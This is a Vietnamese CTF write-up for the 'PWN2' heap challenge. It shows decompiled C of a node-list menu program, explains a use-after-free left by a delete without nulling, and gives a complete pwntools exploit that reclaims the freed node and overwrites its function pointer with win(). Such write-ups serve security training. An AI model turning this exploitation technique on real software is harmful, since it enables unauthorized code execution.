PWN2
December 13, 2025
•
December 12, 2025
•
Easy
Setup
Đầu tiên mình setup docker, copy libc và ld, patch binary các kiểu:
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public$ chmod +x run.sh
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public$ chmod +x service/chall
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public$ ./run.shngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public$ nc 0 9002
Viettel Cyber Security
1.Create node
2.Update node
3.Delete node
4.View node
Enter your choice:ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public/service$ docker cp 7c923effc706:/usr/lib/x86_64-linux-gnu/libc.so.6 .
Successfully copied 2.13MB to /home/ngtuonghung/ctfs/vcs_passport_2024/pwn2/public/service/.
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public/service$ docker cp 7c923effc706:/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .
Successfully copied 239kB to /home/ngtuonghung/ctfs/vcs_passport_2024/pwn2/public/service/.
Recon
Mitigation

Code
Node *list[100];
//----- (00000000004013B4) ----------------------------------------------------
int __cdecl main(int argc, const char **argv, const char **envp)
{
int choice; // [rsp+4h] [rbp-3Ch] BYREF
signed int buf_; // [rsp+8h] [rbp-38h] BYREF
unsigned int buf; // [rsp+Ch] [rbp-34h] BYREF
int node_count; // [rsp+10h] [rbp-30h]
int i; // [rsp+14h] [rbp-2Ch]
int m; // [rsp+18h] [rbp-28h]
int n; // [rsp+1Ch] [rbp-24h]
int k; // [rsp+20h] [rbp-20h]
int j; // [rsp+24h] [rbp-1Ch]
Node *node_; // [rsp+28h] [rbp-18h]
Node *node; // [rsp+30h] [rbp-10h]
unsigned __int64 v15; // [rsp+38h] [rbp-8h]
v15 = __readfsqword(0x28u);
init();
choice = -1;
buf_ = 0;
node_count = 0;
node_ = 0LL;
for (i = 0; i <= 99; ++i)
list[i] = 0LL;
while (node_count <= 99)
{
menu();
__isoc99_scanf("%u", &choice);
if (choice == 4)
{
printf("Node ID ? :");
buf = -1;
node = 0LL;
__isoc99_scanf("%u", &buf); // input node id
for (j = 0; j <= 99; ++j)
{
if (list[j] && list[j]->id == buf)
{
node = list[j];
break;
}
}
if (node)
{
printf("ID : %d\nContent: %s\nContent size : %d\n", node->id, node->content, node->content_size);
if (node->func)
node->func();
}
else
{
not_found:
puts("Not found");
}
}
else if (choice <= 4)
{
switch (choice)
{
case 3:
printf("Node ID ? :");
buf_ = -1;
node_ = 0LL;
__isoc99_scanf("%u", &buf_);
for (k = 0; k <= 99; ++k)
{
if (list[k] && list[k]->id == buf_)
node_ = list[k];
}
if (!node_)
goto not_found;
free((void *)node_->content);
node_->content = 0LL;
free(node_);
break;
case 1: // create node
node_ = (Node *)malloc(32uLL);
buf = 0;
printf("Content size :");
__isoc99_scanf("%u", &buf); // input content size
node_->content = (const char *)malloc((int)buf);
if (!node_->content)
{
puts("Failed to malloc");
exit(0);
}
printf("Enter content :");
read(0, (void *)node_->content, buf);
node_->content_size = buf;
node_->id = node_count++;
for (m = 0; m <= 99; ++m)
{
if (!list[m])
{
list[m] = node_;
break;
}
}
printf("[*]Success! Your node id is :%d\n", node_->id);
break;
case 2: // update node
printf("Node ID ? :");
buf_ = -1;
node_ = 0LL;
__isoc99_scanf("%u", &buf_); // input node id
for (n = 0; n <= 99; ++n)
{
if (list[n] && list[n]->id == buf_)
{
node_ = list[n];
break;
}
}
if (!node_)
goto not_found;
printf("New content size: ");
__isoc99_scanf("%u", &buf_); // input content size
if ((signed int)node_->content_size >= buf_ || (node_->content = (const char *)malloc(buf_)) != 0LL)
{
printf("Enter new content: ");
read(0, (void *)node_->content, (unsigned int)buf_);
node_->content_size = buf_;
}
else
{
puts("Failed to malloc");
}
break;
}
}
}
return 0;
}Mình xác định struct của Node như sau:
- 8 byte func
- 4 byte id
- 4 byte padding
- 8 byte content
- 4 byte content size
- 4 byte padding for alignment
Có 3 nơi gọi malloc:
- new node (fixed 32 byte) (choice 1).
- new content (user input) (choice 1).
- replace content (user input) (choice 2).
2 nơi gọi:
- free content, đã set null sau đó (choice 3)
- free node sau khi free content, nhưng không set null sau đó, có thể uaf bởi vì con trỏ vẫn lưu trong list (choice 3).
Solve
#!/usr/bin/env python3
from pwn import *
exe = ELF("chall_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("ld-linux-x86-64.so.2", checksec=False)
context.terminal = ['tmux', 'splitw', '-h']
context.binary = exe
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
gdbscript = '''
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
if args.DEBUG:
context.log_level = 'debug'
return p
else:
host = "localhost"
port = 9002
return remote(host, port)
p = conn()
def create_node(size, content):
slan(p, b'choice', 1)
slan(p, b'size', size)
sa(p, b'content', content)
def update_note(id, size, content):
slan(p, b'choice', 2)
slan(p, b'ID', id)
slan(p, b'size', size)
sa(p, b'content', content)
def delete_node(id):
slan(p, b'choice', 3)
slan(p, b'ID', id)
def view_node(id):
slan(p, b'choice', 4)
slan(p, b'ID', id)
# Tạo node 0
create_node(32, b'A')
# Tạo note 1 để sửa content
create_node(10, b'A')
# Xoá node 0, list[0] vẫn giữ con trỏ
delete_node(0)
# Edit content node 1 để cấp phát lại đến node 0 -> ghi đè con trỏ hàm với win()
update_note(1, 32, p64(exe.symbols['win']))
view_node(0)
ia(p)Script
